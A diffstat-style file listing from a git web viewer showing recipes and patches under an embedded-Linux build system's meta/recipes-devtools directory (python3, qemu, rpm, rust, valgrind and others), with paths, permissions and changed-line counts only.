-rw-r--r--meta/recipes-devtools/python/python3-wcwidth_0.2.13.bb27
-rw-r--r--meta/recipes-devtools/python/python3-webcolors/run-ptest3
-rw-r--r--meta/recipes-devtools/python/python3-webcolors_1.13.bb28
-rw-r--r--meta/recipes-devtools/python/python3-websockets_12.0.bb16
-rw-r--r--meta/recipes-devtools/python/python3-wheel_0.43.0.bb15
-rw-r--r--meta/recipes-devtools/python/python3-xmltodict/run-ptest3
-rw-r--r--meta/recipes-devtools/python/python3-xmltodict_0.13.0.bb31
-rw-r--r--meta/recipes-devtools/python/python3-yamllint_1.35.1.bb15
-rw-r--r--meta/recipes-devtools/python/python3-zipp_3.18.1.bb18
-rw-r--r--meta/recipes-devtools/python/python3/0001-Avoid-shebang-overflow-on-python-config.py.patch30
-rw-r--r--meta/recipes-devtools/python/python3/0001-Do-not-add-usr-lib-termcap-to-linker-flags-to-avoid-.patch25
-rw-r--r--meta/recipes-devtools/python/python3/0001-Do-not-hardcode-lib-as-location-for-site-packages-an.patch214
-rw-r--r--meta/recipes-devtools/python/python3/0001-Do-not-use-the-shell-version-of-python-config-that-w.patch35
-rw-r--r--meta/recipes-devtools/python/python3/0001-Don-t-search-system-for-headers-libraries.patch27
-rw-r--r--meta/recipes-devtools/python/python3/0001-Lib-pty.py-handle-stdin-I-O-errors-same-way-as-maste.patch47
-rw-r--r--meta/recipes-devtools/python/python3/0001-Lib-sysconfig.py-fix-another-place-where-lib-is-hard.patch31
-rw-r--r--meta/recipes-devtools/python/python3/0001-Lib-sysconfig.py-use-prefix-value-from-build-configu.patch32
-rw-r--r--meta/recipes-devtools/python/python3/0001-Makefile-do-not-compile-.pyc-in-parallel.patch58
-rw-r--r--meta/recipes-devtools/python/python3/0001-Makefile-fix-Issue36464-parallel-build-race-problem.patch34
-rw-r--r--meta/recipes-devtools/python/python3/0001-Makefile.pre-use-qemu-wrapper-when-gathering-profile.patch16
-rw-r--r--meta/recipes-devtools/python/python3/0001-Skip-failing-tests-due-to-load-variability-on-YP-AB.patch72
-rw-r--r--meta/recipes-devtools/python/python3/0001-Update-test_sysconfig-for-posix_user-purelib.patch37
-rw-r--r--meta/recipes-devtools/python/python3/0001-Use-FLAG_REF-always-for-interned-strings.patch35
-rw-r--r--meta/recipes-devtools/python/python3/0001-bpo-36852-proper-detection-of-mips-architecture-for-.patch209
-rw-r--r--meta/recipes-devtools/python/python3/0001-configure.ac-fix-LIBPL.patch35
-rw-r--r--meta/recipes-devtools/python/python3/0001-distutils-sysconfig-append-STAGING_LIBDIR-python-sys.patch42
-rw-r--r--meta/recipes-devtools/python/python3/0001-gh-114492-Initialize-struct-termios-before-calling-t.patch26
-rw-r--r--meta/recipes-devtools/python/python3/0001-python3-Do-not-hardcode-lib-for-distutils.patch43
-rw-r--r--meta/recipes-devtools/python/python3/0001-python3-use-cc_basename-to-replace-CC-for-checking-c.patch65
-rw-r--r--meta/recipes-devtools/python/python3/0001-setup.py-pass-missing-libraries-to-Extension-for-mul.patch69
-rw-r--r--meta/recipes-devtools/python/python3/0001-skip-no_stdout_fileno-test-due-to-load-variability.patch29
-rw-r--r--meta/recipes-devtools/python/python3/0001-sysconfig.py-use-platlibdir-also-for-purelib.patch28
-rw-r--r--meta/recipes-devtools/python/python3/0001-test_ctypes.test_find-skip-without-tools-sdk.patch34
-rw-r--r--meta/recipes-devtools/python/python3/0001-test_locale.py-correct-the-test-output-format.patch18
-rw-r--r--meta/recipes-devtools/python/python3/0001-test_storlines-skip-due-to-load-variability.patch30
-rw-r--r--meta/recipes-devtools/python/python3/0017-setup.py-do-not-report-missing-dependencies-for-disa.patch32
-rw-r--r--meta/recipes-devtools/python/python3/0020-configure.ac-setup.py-do-not-add-a-curses-include-pa.patch37
-rw-r--r--meta/recipes-devtools/python/python3/12-distutils-prefix-is-inside-staging-area.patch58
-rw-r--r--meta/recipes-devtools/python/python3/avoid_warning_about_tkinter.patch31
-rw-r--r--meta/recipes-devtools/python/python3/cgi_py.patch4
-rw-r--r--meta/recipes-devtools/python/python3/create_manifest3.py47
-rw-r--r--meta/recipes-devtools/python/python3/crosspythonpath.patch31
-rw-r--r--meta/recipes-devtools/python/python3/deterministic_imports.patch40
-rw-r--r--meta/recipes-devtools/python/python3/get_module_deps3.py76
-rw-r--r--meta/recipes-devtools/python/python3/makerace.patch31
-rw-r--r--meta/recipes-devtools/python/python3/python-config.patch54
-rw-r--r--meta/recipes-devtools/python/python3/python3-manifest.json207
-rw-r--r--meta/recipes-devtools/python/python3/reformat_sysconfig.py2
-rw-r--r--meta/recipes-devtools/python/python3/run-ptest4
-rw-r--r--meta/recipes-devtools/python/python3_3.12.3.bb470
-rw-r--r--meta/recipes-devtools/python/python3_3.8.5.bb361
-rw-r--r--meta/recipes-devtools/qemu/nativesdk-qemu-helper_1.0.bb12
-rw-r--r--meta/recipes-devtools/qemu/qemu-helper-native_1.0.bb20
-rwxr-xr-xmeta/recipes-devtools/qemu/qemu-helper/qemu-oe-bridge-helper25
-rw-r--r--meta/recipes-devtools/qemu/qemu-helper/qemu-oe-bridge-helper.c40
-rw-r--r--meta/recipes-devtools/qemu/qemu-helper/tunctl.c158
-rw-r--r--meta/recipes-devtools/qemu/qemu-native.inc14
-rw-r--r--meta/recipes-devtools/qemu/qemu-native_5.0.0.bb9
-rw-r--r--meta/recipes-devtools/qemu/qemu-native_8.2.1.bb9
-rw-r--r--meta/recipes-devtools/qemu/qemu-system-native_5.0.0.bb26
-rw-r--r--meta/recipes-devtools/qemu/qemu-system-native_8.2.1.bb31
-rw-r--r--meta/recipes-devtools/qemu/qemu.inc256
-rw-r--r--meta/recipes-devtools/qemu/qemu/0001-Add-enable-disable-udev.patch32
-rw-r--r--meta/recipes-devtools/qemu/qemu/0001-linux-user-x86_64-Handle-the-vsyscall-page-in-open_s.patch56
-rw-r--r--meta/recipes-devtools/qemu/qemu/0001-qemu-Add-addition-environment-space-to-boot-loader-q.patch33
-rw-r--r--meta/recipes-devtools/qemu/qemu/0001-qemu-Add-missing-wacom-HID-descriptor.patch144
-rw-r--r--meta/recipes-devtools/qemu/qemu/0001-qemu-Do-not-include-file-if-not-exists.patch34
-rw-r--r--meta/recipes-devtools/qemu/qemu/0002-Add-subpackage-ptest-which-runs-all-unit-test-cases-.patch38
-rw-r--r--meta/recipes-devtools/qemu/qemu/0002-linux-user-Replace-use-of-lfs64-related-functions-an.patch355
-rw-r--r--meta/recipes-devtools/qemu/qemu/0002-linux-user-loongarch64-Remove-TARGET_FORCE_SHMLBA.patch43
-rw-r--r--meta/recipes-devtools/qemu/qemu/0003-apic-fixup-fallthrough-to-PIC.patch44
-rw-r--r--meta/recipes-devtools/qemu/qemu/0003-linux-user-Add-strace-for-shmat.patch71
-rw-r--r--meta/recipes-devtools/qemu/qemu/0003-qemu-Add-addition-environment-space-to-boot-loader-q.patch33
-rw-r--r--meta/recipes-devtools/qemu/qemu/0004-configure-Add-pkg-config-handling-for-libgcrypt.patch29
-rw-r--r--meta/recipes-devtools/qemu/qemu/0004-linux-user-Rewrite-target_shmat.patch236
-rw-r--r--meta/recipes-devtools/qemu/qemu/0004-qemu-disable-Valgrind.patch34
-rw-r--r--meta/recipes-devtools/qemu/qemu/0005-qemu-Do-not-include-file-if-not-exists.patch32
-rw-r--r--meta/recipes-devtools/qemu/qemu/0005-qemu-native-set-ld.bfd-fix-cflags-and-set-some-envir.patch31
-rw-r--r--meta/recipes-devtools/qemu/qemu/0005-tests-tcg-Check-that-shmat-does-not-break-proc-self-.patch85
-rw-r--r--meta/recipes-devtools/qemu/qemu/0006-chardev-connect-socket-to-a-spawned-command.patch239
-rw-r--r--meta/recipes-devtools/qemu/qemu/0006-qemu-Add-some-user-space-mmap-tweaks-to-address-musl.patch49
-rw-r--r--meta/recipes-devtools/qemu/qemu/0007-apic-fixup-fallthrough-to-PIC.patch44
-rw-r--r--meta/recipes-devtools/qemu/qemu/0007-qemu-Determinism-fixes.patch31
-rw-r--r--meta/recipes-devtools/qemu/qemu/0008-linux-user-Fix-webkitgtk-hangs-on-32-bit-x86-target.patch33
-rw-r--r--meta/recipes-devtools/qemu/qemu/0008-tests-meson.build-use-relative-path-to-refer-to-file.patch41
-rw-r--r--meta/recipes-devtools/qemu/qemu/0009-Define-MAP_SYNC-and-MAP_SHARED_VALIDATE-on-needed-li.patch46
-rw-r--r--meta/recipes-devtools/qemu/qemu/0009-Fix-webkitgtk-builds.patch140
-rw-r--r--meta/recipes-devtools/qemu/qemu/0010-configure-Add-pkg-config-handling-for-libgcrypt.patch91
-rw-r--r--meta/recipes-devtools/qemu/qemu/0010-hw-pvrdma-Protect-against-buggy-or-malicious-guest-d.patch40
-rw-r--r--meta/recipes-devtools/qemu/qemu/0011-linux-user-workaround-for-missing-MAP_FIXED_NOREPLAC.patch282
-rw-r--r--meta/recipes-devtools/qemu/qemu/0012-linux-user-workaround-for-missing-MAP_SHARED_VALIDAT.patch51
-rw-r--r--meta/recipes-devtools/qemu/qemu/0013-cpus.c-Add-error-messages-when-qemi_cpu_kick_thread-.patch74
-rw-r--r--meta/recipes-devtools/qemu/qemu/4a8579ad8629b57a43daa62e46cc7af6e1078116.patch60
-rw-r--r--meta/recipes-devtools/qemu/qemu/CVE-2020-10761.patch151
-rw-r--r--meta/recipes-devtools/qemu/qemu/CVE-2020-13361.patch61
-rw-r--r--meta/recipes-devtools/qemu/qemu/CVE-2020-13362.patch55
-rw-r--r--meta/recipes-devtools/qemu/qemu/CVE-2020-13659.patch58
-rw-r--r--meta/recipes-devtools/qemu/qemu/CVE-2020-13791.patch53
-rw-r--r--meta/recipes-devtools/qemu/qemu/CVE-2020-13800.patch63
-rw-r--r--meta/recipes-devtools/qemu/qemu/CVE-2020-15863.patch63
-rw-r--r--meta/recipes-devtools/qemu/qemu/CVE-2023-6683.patch91
-rw-r--r--meta/recipes-devtools/qemu/qemu/find_datadir.patch37
-rw-r--r--meta/recipes-devtools/qemu/qemu/fixedmeson.patch20
-rw-r--r--meta/recipes-devtools/qemu/qemu/no-pip.patch45
-rw-r--r--meta/recipes-devtools/qemu/qemu/qemu-guest-agent.init75
-rw-r--r--meta/recipes-devtools/qemu/qemu/qemu-guest-agent.udev2
-rw-r--r--meta/recipes-devtools/qemu/qemu/run-ptest5
-rw-r--r--meta/recipes-devtools/qemu/qemu_5.0.0.bb33
-rw-r--r--meta/recipes-devtools/qemu/qemu_8.2.1.bb27
-rw-r--r--meta/recipes-devtools/qemu/qemuwrapper-cross_1.0.bb1
-rw-r--r--meta/recipes-devtools/quilt/quilt-native_0.67.bb (renamed from meta/recipes-devtools/quilt/quilt-native_0.66.bb)0
-rw-r--r--meta/recipes-devtools/quilt/quilt.inc83
-rw-r--r--meta/recipes-devtools/quilt/quilt/0001-test-Fix-a-race-condition-in-merge.test.patch48
-rw-r--r--meta/recipes-devtools/quilt/quilt/Makefile14
-rw-r--r--meta/recipes-devtools/quilt/quilt/faildiff-order.patch41
-rw-r--r--meta/recipes-devtools/quilt/quilt/fix-grep-3.8.patch144
-rwxr-xr-xmeta/recipes-devtools/quilt/quilt/run-ptest7
-rwxr-xr-xmeta/recipes-devtools/quilt/quilt/test.sh25
-rw-r--r--meta/recipes-devtools/quilt/quilt_0.66.bb2
-rw-r--r--meta/recipes-devtools/quilt/quilt_0.67.bb3
-rw-r--r--meta/recipes-devtools/repo/repo_2.44.bb30
-rw-r--r--meta/recipes-devtools/rpm/files/0001-Add-a-color-setting-for-mips64_n32-binaries.patch27
-rw-r--r--meta/recipes-devtools/rpm/files/0001-Bump-up-the-limit-of-signature-header-to-64MB.patch62
-rw-r--r--meta/recipes-devtools/rpm/files/0001-CMakeLists.txt-look-for-lua-with-pkg-config-rather-t.patch27
-rw-r--r--meta/recipes-devtools/rpm/files/0001-Do-not-add-an-unsatisfiable-dependency-when-building.patch7
-rw-r--r--meta/recipes-devtools/rpm/files/0001-Do-not-hardcode-lib-rpm-as-the-installation-path-for.patch53
-rw-r--r--meta/recipes-devtools/rpm/files/0001-Do-not-read-config-files-from-HOME.patch19
-rw-r--r--meta/recipes-devtools/rpm/files/0001-Do-not-reset-the-PATH-environment-variable-before-ru.patch7
-rw-r--r--meta/recipes-devtools/rpm/files/0001-Fix-build-with-musl-C-library.patch48
-rw-r--r--meta/recipes-devtools/rpm/files/0001-Rip-out-partial-support-for-unused-MD2-and-RIPEMD160.patch81
-rw-r--r--meta/recipes-devtools/rpm/files/0001-When-cross-installing-execute-package-scriptlets-wit.patch19
-rw-r--r--meta/recipes-devtools/rpm/files/0001-build-pack.c-do-not-insert-payloadflags-into-.rpm-me.patch28
-rw-r--r--meta/recipes-devtools/rpm/files/0001-lib-transaction.c-fix-file-conflicts-for-MIPS64-N32.patch9
-rw-r--r--meta/recipes-devtools/rpm/files/0001-perl-disable-auto-reqs.patch25
-rw-r--r--meta/recipes-devtools/rpm/files/0001-rpm-rpmio.c-restrict-virtual-memory-usage-if-limit-s.patch65
-rw-r--r--meta/recipes-devtools/rpm/files/0001-rpmfc.c-do-not-run-file-classification-in-parallel.patch65
-rw-r--r--meta/recipes-devtools/rpm/files/0001-rpmplugins.c-call-dlerror-prior-to-dlsym.patch29
-rw-r--r--meta/recipes-devtools/rpm/files/0002-Add-support-for-prefixing-etc-from-RPM_ETCCONFIGDIR-.patch29
-rw-r--r--meta/recipes-devtools/rpm/files/0002-rpmio-rpmglob.c-avoid-using-GLOB_BRACE-if-undefined-.patch34
-rw-r--r--meta/recipes-devtools/rpm/files/0011-Do-not-require-that-ELF-binaries-are-executable-to-b.patch33
-rw-r--r--meta/recipes-devtools/rpm/files/0016-rpmscript.c-change-logging-level-around-scriptlets-t.patch12
-rw-r--r--meta/recipes-devtools/rpm/files/environment.d-rpm.sh1
-rw-r--r--meta/recipes-devtools/rpm/rpm_4.15.1.bb156
-rw-r--r--meta/recipes-devtools/rpm/rpm_4.19.1.1.bb197
-rw-r--r--meta/recipes-devtools/rsync/files/0001-Add-missing-prototypes-to-function-declarations.patch170
-rw-r--r--meta/recipes-devtools/rsync/files/determism.patch34
-rw-r--r--meta/recipes-devtools/rsync/files/makefile-no-rebuild.patch13
-rw-r--r--meta/recipes-devtools/rsync/rsync_3.2.2.bb58
-rw-r--r--meta/recipes-devtools/rsync/rsync_3.3.0.bb67
-rw-r--r--meta/recipes-devtools/ruby/ruby.inc40
-rw-r--r--meta/recipes-devtools/ruby/ruby/0001-Modify-shebang-of-libexec-y2racc-and-libexec-racc2y.patch38
-rw-r--r--meta/recipes-devtools/ruby/ruby/0001-extmk-fix-cross-compilation-of-external-gems.patch11
-rw-r--r--meta/recipes-devtools/ruby/ruby/0001-vm_dump.c-Define-REG_S1-and-REG_S2-for-musl-riscv.patch31
-rw-r--r--meta/recipes-devtools/ruby/ruby/0002-Obey-LDFLAGS-for-the-link-of-libruby.patch13
-rw-r--r--meta/recipes-devtools/ruby/ruby/0003-rdoc-build-reproducible-documentation.patch37
-rw-r--r--meta/recipes-devtools/ruby/ruby/0004-lib-mkmf.rb-sort-list-of-object-files-in-generated-M.patch31
-rw-r--r--meta/recipes-devtools/ruby/ruby/0005-Mark-Gemspec-reproducible-change-fixing-784225-too.patch31
-rw-r--r--meta/recipes-devtools/ruby/ruby/0006-Make-gemspecs-reproducible.patch77
-rw-r--r--meta/recipes-devtools/ruby/ruby/remove_has_include_macros.patch26
-rw-r--r--meta/recipes-devtools/ruby/ruby_2.7.1.bb92
-rw-r--r--meta/recipes-devtools/ruby/ruby_3.3.0.bb140
-rwxr-xr-xmeta/recipes-devtools/run-postinsts/run-postinsts/run-postinsts21
-rw-r--r--meta/recipes-devtools/run-postinsts/run-postinsts/run-postinsts.service2
-rw-r--r--meta/recipes-devtools/run-postinsts/run-postinsts_1.0.bb12
-rw-r--r--meta/recipes-devtools/rust/README-rust.md38
-rw-r--r--meta/recipes-devtools/rust/cargo-c-crates.inc654
-rw-r--r--meta/recipes-devtools/rust/cargo-c-native_0.9.30+cargo-0.77.0.bb17
-rw-r--r--meta/recipes-devtools/rust/cargo_1.75.0.bb73
-rw-r--r--meta/recipes-devtools/rust/files/0001-Handle-vendored-sources-when-remapping-paths.patch46
-rw-r--r--meta/recipes-devtools/rust/files/0001-Revert-Map-source-absolute-paths-to-OUT_DIR-as-relat.patch67
-rw-r--r--meta/recipes-devtools/rust/files/cargo-path.patch37
-rw-r--r--meta/recipes-devtools/rust/files/custom-target-cfg.patch90
-rw-r--r--meta/recipes-devtools/rust/files/hardcodepaths.patch59
-rw-r--r--meta/recipes-devtools/rust/files/repro-issue-fix-with-v175.patch36
-rw-r--r--meta/recipes-devtools/rust/files/rustc-bootstrap.patch21
-rw-r--r--meta/recipes-devtools/rust/files/rv32-cargo-rustix-0.38.19-fix.patch70
-rw-r--r--meta/recipes-devtools/rust/files/rv32-missing-syscalls.patch1503
-rw-r--r--meta/recipes-devtools/rust/files/rv32-rustix-libc-backend.patch32
-rw-r--r--meta/recipes-devtools/rust/files/target-build-value.patch26
-rw-r--r--meta/recipes-devtools/rust/files/target-rust-ccld.c19
-rw-r--r--meta/recipes-devtools/rust/files/zlib-off64_t.patch36
-rw-r--r--meta/recipes-devtools/rust/libstd-rs_1.75.0.bb53
-rw-r--r--meta/recipes-devtools/rust/rust-cross-canadian.inc91
-rw-r--r--meta/recipes-devtools/rust/rust-cross-canadian_1.75.0.bb2
-rw-r--r--meta/recipes-devtools/rust/rust-llvm/0001-AsmMatcherEmitter-sort-ClassInfo-lists-by-name-as-we.patch31
-rw-r--r--meta/recipes-devtools/rust/rust-llvm/0002-llvm-allow-env-override-of-exe-path.patch33
-rw-r--r--meta/recipes-devtools/rust/rust-llvm/0003-llvm-fix-include-benchmarks.patch25
-rw-r--r--meta/recipes-devtools/rust/rust-llvm_1.75.0.bb94
-rw-r--r--meta/recipes-devtools/rust/rust-snapshot.inc58
-rw-r--r--meta/recipes-devtools/rust/rust-source.inc24
-rw-r--r--meta/recipes-devtools/rust/rust_1.75.0.bb361
-rw-r--r--meta/recipes-devtools/squashfs-tools/files/0001-squashfs-tools-fix-build-failure-against-gcc-10.patch45
-rw-r--r--meta/recipes-devtools/squashfs-tools/squashfs-tools_git.bb31
-rw-r--r--meta/recipes-devtools/strace/strace/0001-caps-abbrev.awk-fix-gawk-s-path.patch47
-rw-r--r--meta/recipes-devtools/strace/strace/0001-configure-Use-autoconf-macro-to-detect-largefile-sup.patch27
-rw-r--r--meta/recipes-devtools/strace/strace/0002-tests-Replace-off64_t-with-off_t.patch52
-rw-r--r--meta/recipes-devtools/strace/strace/Makefile-ptest.patch23
-rw-r--r--meta/recipes-devtools/strace/strace/disable-git-version-gen.patch37
-rw-r--r--meta/recipes-devtools/strace/strace/mips-SIGEMT.patch33
-rw-r--r--meta/recipes-devtools/strace/strace/ptest-spacesave.patch2
-rwxr-xr-xmeta/recipes-devtools/strace/strace/run-ptest15
-rw-r--r--meta/recipes-devtools/strace/strace/skip-load.patch49
-rw-r--r--meta/recipes-devtools/strace/strace/uintptr_t.patch27
-rw-r--r--meta/recipes-devtools/strace/strace/update-gawk-paths.patch74
-rw-r--r--meta/recipes-devtools/strace/strace_5.8.bb55
-rw-r--r--meta/recipes-devtools/strace/strace_6.7.bb56
-rw-r--r--meta/recipes-devtools/subversion/subversion/0001-Fix-libtool-name-in-configure.ac.patch29
-rw-r--r--meta/recipes-devtools/subversion/subversion/disable_macos.patch71
-rw-r--r--meta/recipes-devtools/subversion/subversion_1.14.0.bb62
-rw-r--r--meta/recipes-devtools/subversion/subversion_1.14.3.bb61
-rw-r--r--meta/recipes-devtools/swig/swig.inc12
-rw-r--r--meta/recipes-devtools/swig/swig/0001-Add-Node-7.x-aka-V8-5.2-support.patch330
-rw-r--r--meta/recipes-devtools/swig/swig/0001-Fix-generated-code-for-constant-expressions-containi.patch179
-rw-r--r--meta/recipes-devtools/swig/swig/0001-Use-proc-self-exe-for-swig-swiglib-on-non-Win32-plat.patch18
-rw-r--r--meta/recipes-devtools/swig/swig/0001-configure-use-pkg-config-for-pcre-detection.patch49
-rw-r--r--meta/recipes-devtools/swig/swig/Python-Fix-new-GCC8-warnings-in-generated-code.patch191
-rw-r--r--meta/recipes-devtools/swig/swig/determinism.patch26
-rw-r--r--meta/recipes-devtools/swig/swig/swig-3.0.12-Coverity-fix-issue-reported-for-SWIG_Python_FixMetho.patch36
-rw-r--r--meta/recipes-devtools/swig/swig_3.0.12.bb12
-rw-r--r--meta/recipes-devtools/swig/swig_4.2.1.bb7
-rw-r--r--meta/recipes-devtools/syslinux/syslinux/0001-install-don-t-install-obsolete-file-com32.ld.patch32
-rw-r--r--meta/recipes-devtools/syslinux/syslinux/0001-linux-syslinux-support-ext2-3-4-device.patch17
-rw-r--r--meta/recipes-devtools/syslinux/syslinux/0002-linux-syslinux-implement-open_ext2_fs.patch21
-rw-r--r--meta/recipes-devtools/syslinux/syslinux/0003-linux-syslinux-implement-install_to_ext2.patch13
-rw-r--r--meta/recipes-devtools/syslinux/syslinux/0004-linux-syslinux-add-ext_file_read-and-ext_file_write.patch13
-rw-r--r--meta/recipes-devtools/syslinux/syslinux/0005-linux-syslinux-implement-handle_adv_on_ext.patch13
-rw-r--r--meta/recipes-devtools/syslinux/syslinux/0006-linux-syslinux-implement-write_to_ext-and-add-syslin.patch21
-rw-r--r--meta/recipes-devtools/syslinux/syslinux/0007-linux-syslinux-implement-ext_construct_sectmap_fs.patch13
-rw-r--r--meta/recipes-devtools/syslinux/syslinux/0008-libinstaller-syslinuxext-implement-syslinux_patch_bo.patch11
-rw-r--r--meta/recipes-devtools/syslinux/syslinux/0009-linux-syslinux-implement-install_bootblock.patch11
-rw-r--r--meta/recipes-devtools/syslinux/syslinux/0010-Workaround-multiple-definition-of-symbol-errors.patch19
-rw-r--r--meta/recipes-devtools/syslinux/syslinux/0011-install-don-t-install-obsolete-file-com32.ld.patch29
-rw-r--r--meta/recipes-devtools/syslinux/syslinux/0012-libinstaller-Fix-build-with-glibc-2.36.patch56
-rw-r--r--meta/recipes-devtools/syslinux/syslinux/0013-remove-clean-script.patch27
-rw-r--r--meta/recipes-devtools/syslinux/syslinux/0014-Fix-reproducibility-issues.patch32
-rw-r--r--meta/recipes-devtools/syslinux/syslinux/syslinux-remove-clean-script.patch17
-rw-r--r--meta/recipes-devtools/syslinux/syslinux_6.04-pre2.bb142
-rw-r--r--meta/recipes-devtools/systemd-bootchart/systemd-bootchart/0001-architecture-Recognise-RISCV-32-RISCV-64.patch45
-rw-r--r--meta/recipes-devtools/systemd-bootchart/systemd-bootchart/0001-comparison_fn_t-is-glibc-specific-use-raw-signature-.patch2
-rw-r--r--meta/recipes-devtools/systemd-bootchart/systemd-bootchart/0002-musl-does-not-provide-printf-h.patch2
-rw-r--r--meta/recipes-devtools/systemd-bootchart/systemd-bootchart/0003-musl-does-not-provide-canonicalize_file_name.patch2
-rw-r--r--meta/recipes-devtools/systemd-bootchart/systemd-bootchart/no_lto.patch19
-rw-r--r--meta/recipes-devtools/systemd-bootchart/systemd-bootchart_233.bb39
-rw-r--r--meta/recipes-devtools/systemd-bootchart/systemd-bootchart_235.bb43
-rw-r--r--meta/recipes-devtools/tcf-agent/tcf-agent/fix_ranlib.patch17
-rw-r--r--meta/recipes-devtools/tcf-agent/tcf-agent/ldflags.patch33
-rw-r--r--meta/recipes-devtools/tcf-agent/tcf-agent_git.bb34
-rw-r--r--meta/recipes-devtools/tcltk/tcl/0001-Fix-abd4abedd2-Failed-to-build-tk-8.6.10-with-cross-.patch44
-rw-r--r--meta/recipes-devtools/tcltk/tcl/alter-includedir.patch80
-rw-r--r--meta/recipes-devtools/tcltk/tcl/fix_issue_with_old_distro_glibc.patch39
-rw-r--r--meta/recipes-devtools/tcltk/tcl/fix_non_native_build_issue.patch39
-rw-r--r--meta/recipes-devtools/tcltk/tcl/interp.patch40
-rw-r--r--meta/recipes-devtools/tcltk/tcl/no_packages.patch53
-rw-r--r--meta/recipes-devtools/tcltk/tcl/run-ptest30
-rw-r--r--meta/recipes-devtools/tcltk/tcl/tcl-add-soname.patch63
-rw-r--r--meta/recipes-devtools/tcltk/tcl/tcl-remove-hardcoded-install-path.patch35
-rw-r--r--meta/recipes-devtools/tcltk/tcl_8.6.10.bb105
-rw-r--r--meta/recipes-devtools/tcltk/tcl_8.6.14.bb110
-rw-r--r--meta/recipes-devtools/unfs3/unfs3/0001-Add-listen-action-for-a-tcp-socket.patch54
-rw-r--r--meta/recipes-devtools/unfs3/unfs3/0001-Alias-off64_t-to-off_t-on-linux-if-not-defined.patch28
-rw-r--r--meta/recipes-devtools/unfs3/unfs3/0001-attr-fix-utime-for-symlink.patch41
-rw-r--r--meta/recipes-devtools/unfs3/unfs3/0001-daemon.c-Fix-race-window-for-writing-of-the-pid-file.patch68
-rw-r--r--meta/recipes-devtools/unfs3/unfs3/0001-daemon.c-Libtirpc-porting-fixes.patch37
-rw-r--r--meta/recipes-devtools/unfs3/unfs3/0001-fix-building-on-macOS.patch27
-rw-r--r--meta/recipes-devtools/unfs3/unfs3/0001-locate.c-Include-attr.h.patch28
-rw-r--r--meta/recipes-devtools/unfs3/unfs3/alternate_rpc_ports.patch158
-rw-r--r--meta/recipes-devtools/unfs3/unfs3/fix_compile_warning.patch25
-rw-r--r--meta/recipes-devtools/unfs3/unfs3/fix_pid_race_parent_writes_child_pid.patch61
-rw-r--r--meta/recipes-devtools/unfs3/unfs3/relative_max_socket_path_len.patch74
-rw-r--r--meta/recipes-devtools/unfs3/unfs3/rename_fh_cache.patch64
-rw-r--r--meta/recipes-devtools/unfs3/unfs3/tcp_no_delay.patch56
-rw-r--r--meta/recipes-devtools/unfs3/unfs3/unfs3_parallel_build.patch37
-rw-r--r--meta/recipes-devtools/unfs3/unfs3_git.bb39
-rw-r--r--meta/recipes-devtools/unifdef/unifdef_2.12.bb3
-rw-r--r--meta/recipes-devtools/vala/vala.inc62
-rw-r--r--meta/recipes-devtools/vala/vala/0001-vapigen.m4-use-PKG_CONFIG_SYSROOT_DIR.patch38
-rw-r--r--meta/recipes-devtools/vala/vala_0.48.7.bb5
-rw-r--r--meta/recipes-devtools/vala/vala_0.56.16.bb73
-rw-r--r--meta/recipes-devtools/valgrind/valgrind/0001-Guard-against-__GLIBC_PREREQ-for-musl-libc.patch36
-rw-r--r--meta/recipes-devtools/valgrind/valgrind/0001-Make-local-functions-static-to-avoid-assembler-error.patch182
-rw-r--r--meta/recipes-devtools/valgrind/valgrind/0001-Remove-tests-that-fail-to-build-on-some-PPC32-config.patch51
-rw-r--r--meta/recipes-devtools/valgrind/valgrind/0001-adjust-path-filter-for-2-memcheck-tests.patch40
-rw-r--r--meta/recipes-devtools/valgrind/valgrind/0001-docs-Disable-manual-validation.patch36
-rw-r--r--meta/recipes-devtools/valgrind/valgrind/0001-fix-opcode-not-supported-on-mips32-linux.patch82
-rw-r--r--meta/recipes-devtools/valgrind/valgrind/0001-makefiles-Drop-setting-mcpu-to-cortex-a8-on-arm-arch.patch2
-rw-r--r--meta/recipes-devtools/valgrind/valgrind/0001-memcheck-arm64-Define-__THROW-if-not-already-defined.patch32
-rw-r--r--meta/recipes-devtools/valgrind/valgrind/0001-memcheck-vgtests-remove-fullpath-after-flags.patch42
-rw-r--r--meta/recipes-devtools/valgrind/valgrind/0001-none-tests-fdleak_cmsg.stderr.exp-adjust-tmp-paths.patch2
-rw-r--r--meta/recipes-devtools/valgrind/valgrind/0001-str_tester.c-Limit-rawmemchr-test-to-glibc.patch39
-rw-r--r--meta/recipes-devtools/valgrind/valgrind/0001-valgrind-monitor.py-regular-expressions-should-use-r.patch64
-rw-r--r--meta/recipes-devtools/valgrind/valgrind/0002-Bug-476548-valgrind-3.22.0-fails-on-assertion-when-l.patch147
-rw-r--r--meta/recipes-devtools/valgrind/valgrind/0002-context-APIs-are-not-available-on-musl.patch52
-rw-r--r--meta/recipes-devtools/valgrind/valgrind/0002-memcheck-x86-Define-__THROW-if-not-defined.patch32
-rw-r--r--meta/recipes-devtools/valgrind/valgrind/0003-Add-fchmodat2-syscall-on-linux.patch221
-rw-r--r--meta/recipes-devtools/valgrind/valgrind/0003-tests-seg_override-Replace-__modify_ldt-with-syscall.patch68
-rw-r--r--meta/recipes-devtools/valgrind/valgrind/0004-Bug-478624-Valgrind-incompatibility-with-binutils-2..patch137
-rw-r--r--meta/recipes-devtools/valgrind/valgrind/0004-Fix-out-of-tree-builds.patch185
-rw-r--r--meta/recipes-devtools/valgrind/valgrind/0005-Modify-vg_test-wrapper-to-support-PTEST-formats.patch63
-rw-r--r--meta/recipes-devtools/valgrind/valgrind/0005-tc20_verifywrap.c-Fake-__GLIBC_PREREQ-with-musl.patch30
-rw-r--r--meta/recipes-devtools/valgrind/valgrind/Added-support-for-PPC-instructions-mfatbu-mfatbl.patch8
-rw-r--r--meta/recipes-devtools/valgrind/valgrind/avoid-neon-for-targets-which-don-t-support-it.patch2
-rw-r--r--meta/recipes-devtools/valgrind/valgrind/fixed-perl-path.patch40
-rw-r--r--meta/recipes-devtools/valgrind/valgrind/remove-for-aarch64247
-rw-r--r--meta/recipes-devtools/valgrind/valgrind/remove-for-all29
-rwxr-xr-xmeta/recipes-devtools/valgrind/valgrind/run-ptest44
-rw-r--r--meta/recipes-devtools/valgrind/valgrind/s390x_vec_op_t.patch24
-rw-r--r--meta/recipes-devtools/valgrind/valgrind/taskset_nondeterministic_tests2
-rw-r--r--meta/recipes-devtools/valgrind/valgrind/use-appropriate-march-mcpu-mfpu-for-ARM-test-apps.patch2
-rw-r--r--meta/recipes-devtools/valgrind/valgrind_3.16.1.bb230
-rw-r--r--meta/recipes-devtools/valgrind/valgrind_3.22.0.bb276
